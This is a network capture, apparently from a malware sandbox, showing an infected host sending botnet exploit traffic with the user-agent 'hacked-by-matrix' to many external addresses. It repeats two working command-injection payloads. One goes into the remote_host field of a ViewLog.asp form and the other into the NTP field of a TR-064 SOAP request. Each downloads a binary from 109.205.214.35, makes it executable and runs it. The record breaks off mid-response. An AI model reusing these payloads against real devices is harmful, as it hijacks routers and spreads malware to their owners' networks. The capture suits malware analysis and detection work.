Mar 21, 2024 05:27:13.750485897 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1798	192.168.2.23	48758	119.195.203.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.778276920 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:14.066270113 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:27:14 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1799	192.168.2.23	49542	14.62.241.44	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.789374113 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1800	192.168.2.23	46978	94.187.117.182	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.933656931 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1801	192.168.2.23	48778	119.195.203.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.066363096 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:14.351671934 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:27:14 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1802	192.168.2.23	49562	14.62.241.44	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.075620890 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1803	192.168.2.23	41892	200.20.10.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.119235992 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:14.359385014 CET	614	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:27:14 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://secnet.uff.br/cgi-bin/ViewLog.asp Content-Length: 324 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 6e 65 74 2e 75 66 66 2e 62 72 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://secnet.uff.br/cgi-bin/ViewLog.asp">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Mar 21, 2024 05:27:14.359421015 CET	499	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:27:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 305 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 65 74 73 65 63 2e 75 66 66 2e 62 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at netsec.uff.br Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1804	192.168.2.23	39736	213.214.2.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.289874077 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:14.464854002 CET	561	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 21 Mar 2024 04:27:14 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 342 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 75 51 bd 4e c3 30 10 de fd 14 47 e7 52 17 24 b6 28 42 b4 41 54 6a a1 12 61 60 74 9c 6b 62 11 fb 8a 7d 29 ea db 63 27 a1 b0 b0 d9 be ef d7 97 5d ad 5f 56 e5 fb be 80 a7 72 b7 85 fd db c3 76 b3 82 d9 b5 94 9b a2 7c 94 72 5d ae c7 c9 ed 62 29 65 f1 3c cb 45 d6 b2 ed f2 ac 45 55 c7 0b 1b ee 30 bf 5b 2e 61 e3 18 bd 53 1d bc a2 3f a1 87 c2 7b f2 99 1c 01 22 93 03 21 ab a8 3e 27 8d 9b fc 1f 7c 9c 88 ec 98 97 2d 42 18 07 e8 34 f5 09 8c 35 28 07 e6 87 87 89 00 e4 85 35 41 93 3b 98 a6 f7 8a 0d b9 88 aa e1 4b 05 e8 9d aa 3a 04 26 d0 64 8f 1d 32 8a 33 f5 1e 3c 7e f6 18 78 91 c9 e3 60 b6 ef 50 05 8c 20 c7 4a 33 f0 af b7 aa ad 71 26 70 14 26 3f 17 e0 89 f8 de 93 fe 40 17 18 8d 5b d4 38 b8 19 77 20 6f 13 d3 02 1d 06 05 36 16 87 c3 94 53 eb de c7 0a 73 91 f0 ca 9d b9 35 ae 81 98 07 ac 69 5a 86 56 9d 10 6a 72 89 a4 18 ac 3a 0f 4f 42 ab 3e c4 e6 17 a5 4b ea 1d 79 9c 8c a7 da 15 f5 29 bd 09 93 67 d2 a8 62 c0 93 32 5d fa 09 61 dc df 72 23 a8 a3 66 92 94 c3 72 e2 0a d2 82 c5 37 f3 4e 66 17 1b 02 00 00 Data Ascii: uQN0GR$(BATja`tkb})c']_Vrv\|r]b)e<EEU0[.aS?{"!>'\|-B45(5A;K:&d23<~x`P J3q&p&?@[8w o6Ss5iZVjr:OB>Ky)gb2]ar#fr7Nf

Session ID	Source IP	Source Port	Destination IP	Destination Port
1805	192.168.2.23	60978	82.165.135.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.290575981 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:14.470403910 CET	844	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 21 Mar 2024 04:27:14 GMT Server: Apache Content-Length: 676 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 35 30 30 20 2d 20 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 35 30 30 20 2d 20 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 55 6e 20 70 72 6f 62 6c 26 65 67 72 61 76 65 3b 6d 65 20 69 6e 61 74 74 65 6e 64 75 20 65 73 74 20 73 75 72 76 65 6e 75 2e 0a 20 20 20 3c 62 72 3e 0a 20 20 20 56 65 75 69 6c 6c 65 7a 20 72 26 65 61 63 75 74 65 3b 65 73 73 61 79 65 72 20 75 6c 74 26 65 61 63 75 74 65 3b 72 69 65 75 72 65 6d 65 6e 74 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 500 - Internal server error </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 500 - Internal server error </h1> <p style="font-size:0.8em;"> Un problème inattendu est survenu. <br> Veuillez réessayer ultérieurement. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1806	192.168.2.23	32938	83.246.89.76	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.295119047 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:14.470895052 CET	146	IN	HTTP/1.1 302 Found content-length: 0 location: https://127.0.0.1/cgi-bin/ViewLog.asp cache-control: no-cache connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1807	192.168.2.23	51308	80.188.37.43	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.299151897 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:14.510799885 CET	64	IN	HTTP/1.1 307 Temporary Redirect Connection: close
Mar 21, 2024 05:27:14.510811090 CET	63	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0d 0a 0d 0a Data Ascii: Location: https://127.0.0.1/cgi-bin/ViewLog.asp

Session ID	Source IP	Source Port	Destination IP	Destination Port
1808	192.168.2.23	44084	82.146.62.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:14.329741955 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:14.554450989 CET	868	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:27:14 GMT Server: Apache X-Frame-Options: DENY Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 37 3a 31 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 